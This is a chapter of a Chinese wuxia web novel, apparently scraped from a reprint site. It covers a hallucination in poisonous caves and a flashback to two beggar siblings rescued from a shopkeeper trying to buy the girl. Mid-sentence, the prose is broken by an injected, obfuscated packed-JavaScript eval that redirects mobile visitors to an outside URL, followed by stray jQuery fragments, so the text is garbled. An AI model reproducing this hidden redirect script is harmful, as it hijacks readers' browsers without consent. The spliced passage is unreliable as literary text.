109. 迷瘴幻梦

作品:《栖梧雪

    “——你病了么?”


    这或许是他永远无法摆脱的困境与轮回。


    梅晏清凝视着眼前的幻象恍惚思忖。许是穿越万寿宫深处所致,深藏于岩穴之下的甬道早已被弥漫在空气中的瘴气充斥,不知不觉间竟已着了道。


    但梅晏清并不惧怕这些毒瘴,反而时常独自徘徊于此。仿佛唯有被这蚀骨雾气包裹,他方能忆起自己是谁,缘何在此。


    然而此次的幻觉却与往昔不同——


    “公子,你病了么?”


    梅晏清睫羽微颤,映入眼帘的是张清丽如兰的容颜。


    额间朱砂若红梅点雪,映得黛眉星眸流转生辉。


    少女冰凉的指尖触上他发烫的额角,草木幽香沁入鼻息,混着袖口若隐若现的杜若芬芳。


    他一把攥住那雪白皓腕。


    “...公子可无恙?”见他睁开眼,少女慌忙挣脱,屈身行礼,“小女苏流萤,见公子晕厥山间,冒昧一问...公子是否身有不适?”


    天光穿过林叶,斑驳洒落,那抹朱砂红痣在光晕中愈发明艳,更为刺眼。


    梅晏清以手遮目,偏开视线。


    “流萤......”他沙哑低语,“当真是好名字。”


    女子闻言双颊飞红,却莲步轻移,退后半尺。这分寸拿捏得极好,既守礼数又显疏离。


    梅晏清强撑起身躯,环顾周遭。


    ——这已不是他第一次在濒死之际苏醒于陌生的荒郊野岭。


    他忆起此行初衷,是为探寻皇陵踪迹踏入沧州。传闻当年修筑皇陵的工匠临渊子的后人隐居于斯,若非他寻踪而至,这桩秘辛恐怕就会随之一道永埋黄土。


    ——而自己不过将那人命定的死期,提前了一点。


    那工匠之后虽其貌平平,手中重锤却舞得虎虎生风,内力更是浑厚绵长。梅晏清与其交手数十回合,却也未占上风,终是凭着淬毒的暗器与多年杀伐经验,才险险取胜。饶是如此,也并不轻松。


    内伤过重,此刻能苏醒,全凭多年历练养成的警觉本能。


    “公子莫怕,小女子是行医之人。”女子莞尔一笑,轻挽肩头药箱。梅晏清此时才注意到,这女子形单影只出现在荒野,着实透着蹊跷。


    “在下不慎负伤。”梅晏清坦然递出手掌,“可否劳烦姑娘略施仁术?”


    他分明知晓自己伤情轻重,然见对方眸中跃动的神采,仍生出几分逗趣的心思。


    “自然。”女子浅笑着伸出手腕,白皙肌肤在光线下泛着柔光,确是适合佩戴玉镯的纤纤皓腕——师父说过,唯有富贵人家方能养出这般柔荑。


    梅晏清任其把脉,状若无意道:“敢问苏姑娘,此地是何处?”


    “闽安城外,雾山脚下。”


    女子声若蚊蚋,这般轻声细语并非本性使然,原是秉承医家“切脉不语”的训诫,此刻却不得不破例回应。


    半盏茶后,女子轻蹙黛眉:“公子外伤虽显,实则经脉受损,气血两亏,需得开方静养。”


    “好。”梅晏清含笑应承,“可在下除却外伤,尚身中奇毒,不知姑娘能否医治?”


    “中毒?!”女子急急重搭脉息,“脉象分明...”


    又是一番细致查探后,她笃定颔首:“我明白了,请公子宽衣。”


    梅晏清怔了怔,怀疑自己产生了错觉。


    直到对方再次重复。


    “公子身上毒势凶险,请速解衣。”女子边说边卸下药箱,取出其中银针,“待我施针祛毒。”


    梅晏清微微瞠目,本欲玩笑逗趣,未料这医女竟当了真。见她执针的架势凛然,倒似自己当真命不久矣,不由暗自失笑。


    “苏姑娘可知此为何毒?”


    女子坦然摇头:“小女子虽不识毒性,但我苏家针法可疏通经脉,化解百毒。”


    梅晏清望着逐渐靠近的银针,忽觉几分悔意。


    都怪他贪图一时畅快,竟忘了这层忌讳——是谁说过,骗谁也不能骗大夫。


    ——彼时他是如何遮掩的呢?


    梅晏清轻摇折扇,空中浮动的毒烟残香令神智渐昏。


    他记得自己忽然执起那双柔荑,诚恳说道:


    “这只南海琼玉镯,倒与姑娘正相宜,不若权作姑娘诊治的谢仪。”


    梅晏清猛然攥住那双柔荑,将碧玉镯推入对方腕间。掌心温度正如他揣测的那般温热绵软,似幼兽一般毫无防备。


    师父说,欲取女子芳心,当以珠玉为饵。


    然而女子翦水秋瞳泛起惊澜,朱唇微启,似是下一瞬就要唤出“登徒子”三字。


    这般情态倒教梅晏清恍然忆起,他曾在画上见过这双眼睛——自己要寻之人,正有着这般含情目,以及眉心那粒摄魂朱砂。


    ——是了,这场偶遇,本就是他精心布设的局。


    ......


    慕小楼紧随风门主而行,心头惊疑愈盛。


    毒瘴翻涌间,他全仗着刚猛内功与摘星楼秘制避毒丸苦苦支撑,却见那风门主竟毫不设防,任凭毒雾浸染肌骨,周身毛孔渗出细密血珠,恍若万千无形毒齿正悄然啃噬其躯。


    ——莫非此人竟是天生百毒不侵之体?!


    青年尚不知晓,梅晏清早在多年以前为掌控千丝奇毒,便任由万千毒虫蚀骨啮心,终将自身炼成活的毒蛊。


    慕小楼谨慎地移动着脚步。虽不似胞妹灵犀精于轻功,但常年耳濡目染下,倒也掌握了朽婆婆的几分“孤鸿踏雪”的精髓。此刻足尖点地如羽絮飘坠,加之风门主神思恍惚,竟未曾察觉身后有人尾随。


    随着深入洞穴,慕小楼惊觉毒瘴之气愈发浓烈。岩壁上遍布嶙峋石钟乳,死寂中唯有幽暗微光闪烁。若非自幼习武练就夜视之能,怕是未及追踪风门主踪迹,便要困死于这迷宫般的溶洞深处。


    事实上尾随风门主,实属慕小楼一时兴起。谁知阴差阳错,竟真让他窥见了万寿宫秘不示人的隐蔽之所!


    只是慕小楼向来惜命,此处阴森幽暗,他虽侥幸潜入,却难料能否安然脱身。那风门主在曲折暗道中穿行多时,毫无折返迹象,慕小楼只得强打精神跟上。


    “叮咚...叮咚...叮咚...”


    暗处传来阵阵沉闷的水声,似是渗水沿着钟乳岩缓缓滴落。慕小楼明白,这是地底深处传来的征兆。


    万寿宫在此开凿密道,既以毒瘴封路,又未设守卫,下方究竟埋藏着何等隐秘?


    石柱轮廓逐渐模糊,慕小楼失去了藏身之所,只能目送风门主消失在浓雾中。厚重的瘴气如同活物,连人影轮廓都吞噬殆尽。


    听着脚步声渐远,慕小楼屏息估算时辰,终是咬牙踏入翻涌的毒雾。


    刹那间,青年耳边传来细微的振翅声。


    脸颊突感奇异灼烧,慕小楼抬手探查,见那毒雾裹挟着毒虫,撞在护体罡气上,竟碎裂成细小虫卵团。


    他心头大震,当即捏碎袖中锦囊,放出天冬前辈所留的清心蛊。那百足虫顺掌心游走,触及虫卵时骤然张口吞噬。不料片刻后,蛊虫竟蜷缩僵毙。


    ——此处有异。


    慕小楼心生退意,回首望去却见来路湮没雾中。


    “小楼,你看什么呢?”


    浓雾之中竟响起一道人声,慕小楼心头巨震——这声音竟与叶哥别无二致。


    叶哥怎么会来这种地方?


    望着雾中若隐若现的身影,他喉头发紧,尚未应答,那影子却笑道:


    “为何这样瞧着我?莫不是又馋桂花糕了?”


    糕?


    慕小楼微怔。


    他素不嗜甜,倒是灵犀总爱捧着桂花糕,腮帮子鼓得像囤食的幼兽。


    思绪流转间,慕小楼却觉周遭骤变,漫天飞雪中,稚龄女童捧着手中沾了血的被褥,哭喊着向他奔来。


    “哥哥,好痛...血流个不停...我要死了么?”


    “小妹...这是怎么回事?!你...你怎么流了这么多血?”


    慕小楼颤抖着握住妹妹冰凉的小手,只见那裙摆已浸透暗红。


    “呜呜呜我要死了...哥哥,我舍不得你呀...”


    少女蜷缩在他怀里抽泣,泪水洇湿了他破旧的衣襟,宛若生死永诀般哀戚。


    只是这兄妹情深的戏码并未持续太久,巷口粮铺常施舍冷饭的那位掌柜忽然笑出声来。这佝偻老者素日里最是慈眉善目,整条长街,唯有他肯对这对乞儿稍展笑颜。


    “嗐,小姑娘这是来月事了,死不了。”


    “月事?月事是啥?”


    “唉...可怜见的。”见少年满脸茫然,掌柜搓着手凑近,“小姑娘到嫁人的年岁啦,不如我替你照拂她?”他伸手比了个数:“二十两,够你在城南盘个铺面,你一身蛮劲,又何必带着个拖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597051|166670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    油瓶沿街乞讨?”


    少年将妹妹往身后藏了藏。


    “你要娶她么?”


    “娶?”掌柜像听见天大的笑话,“区区小乞丐,娶她岂不让人笑掉大牙?要不是瞧着有几分颜色...”


    话音戛然而止。


    少年眼中翻涌的寒光,让掌柜莫名打了个寒颤。


    “啧,你这副表情给谁看?老子赏你二十两银子是抬举你!”男人油腻的手指戳向少女,“给脸不要脸!平日里吃我的用我的,如今装什么贞洁烈女?”


    “你想都别想!”慕小楼猛地咬住对方伸来的胳膊,引得对方惨叫震天。


    “小畜生,看我不打死你!”


    棍影如雨落下,少年蜷缩着护住身下的少女,用脊背承接所有暴虐。


    “别打我哥!我应了!我现在就随你们走,求求你们别再打了!”少女泪珠滚落,挣扎着要从他臂弯里爬出。


    她素白裙裾浸染猩红,已经分不出是谁的血,在皑皑雪地绽开触目惊心的花。


    “灵犀住口!”慕小楼忍痛将少女拽回怀中,厉声喝道,“今日哥就算是被打死在这儿,也不要你跟了那渣滓!”


    那掌柜颜面尽失,怒不可遏地驱使众人疯狂殴打。然而幼弱身躯长期饥饿,哪经得起这般毒打,少年很快便奄奄一息。


    “父亲,那孩子太可怜了,我们救救他吧...”


    在意识即将消散之际,慕小楼隐约听见少年清朗的嗓音。


    “住手!”


    一道清俊峥嵘的身影拢住他兄妹二人,挺拔如松的身影将兄妹俩严实掩在身后。


    彼时慕小楼尚不知晓,眼前这位正是名震江湖的苦叶大侠,亦是曾随永昭帝谢允征伐四方、助其问鼎帝位的肱骨之臣,后来更在朔北立下不世功勋的镇国将军叶守清。


    也是他自小便仰慕的大英雄。


    ——若是早知这位翩翩少年乃苦叶大侠的独子,纵使借他百个胆量,也绝不敢这般与之比肩同坐。


    “我叫叶染衣,你叫什么名字?”锦衣少年笑吟吟地开口。


    “我叫慕小楼。”少年忙不迭回应,伸手欲引身旁少女,“这是我小妹......”


    “我叫慕灵犀!”少女突然挣脱兄长手臂,戒备嚷道,“我嫁过人的!可嫁一个死一个,都说我是天生的克夫命!”


    “小妹,你...”慕小楼错愕转头,未及开口,便被那高大的男子温声打断。


    “原来如此。”


    男人在两人面前蹲下身子:


    “别怕,我们并非恶人,绝不会强迫你成婚。”


    “骗人!”少女将兄长的手臂箍得更紧,像炸毛的小兽般瞪视着来者,“我谁也不嫁!这辈子就跟定哥哥了!”


    “噗嗤!”锦衣少年忍俊不禁,朝少女递出手掌,掌心里躺着刚买的方糕。


    方糕还冒着热气,油酥皮与桂花蜜的甜香交织。


    “喏,给你。”


    “哥......”小女孩咽了咽口水,拽着慕小楼的衣角轻晃,眼眸里闪着犹豫。


    这次少年终于会意,掌心抚过女孩发丝。


    “吃吧,不打紧。”


    “谢谢大哥哥!”女孩冲着锦衣少年欢悦一笑,夺过方糕便往嘴里塞。


    “......”慕小楼喉结微动,终究只是抿了抿唇。


    “你不吃吗?”锦衣少年歪着脑袋,目光好奇。


    “你为何要救我们?”慕小楼不答反问。


    “这个嘛...”少年托腮沉吟片刻,微笑道,“与其说为何要救,不如说为何不救?”


    慕小楼怔在原地,这个弯绕得他思绪打结。


    “正好我需要个小跟班,不如你来当吧?”少年嬉笑着提议。


    “染衣!不可造次!”一旁高大男子低声呵斥,“忘了爹是怎么教你的么?人无高低贵贱,岂能妄分主仆尊卑?”


    “父亲,孩儿只是与他逗趣...”少年慌忙垂首告罪,显然对男子敬畏有加。


    然而慕小楼神情郑重地注视着面前两人,低声恳求:


    “你可以买下我,我有力气,什么活都能干。只要你能照顾好小妹,让她...”


    少年忽然语塞,瞥见少女狼吞虎咽的模样,眼睛忽地发亮:


    “每天都能吃到桂花糕。”


    “这算什么要求?”锦衣公子忍俊不禁。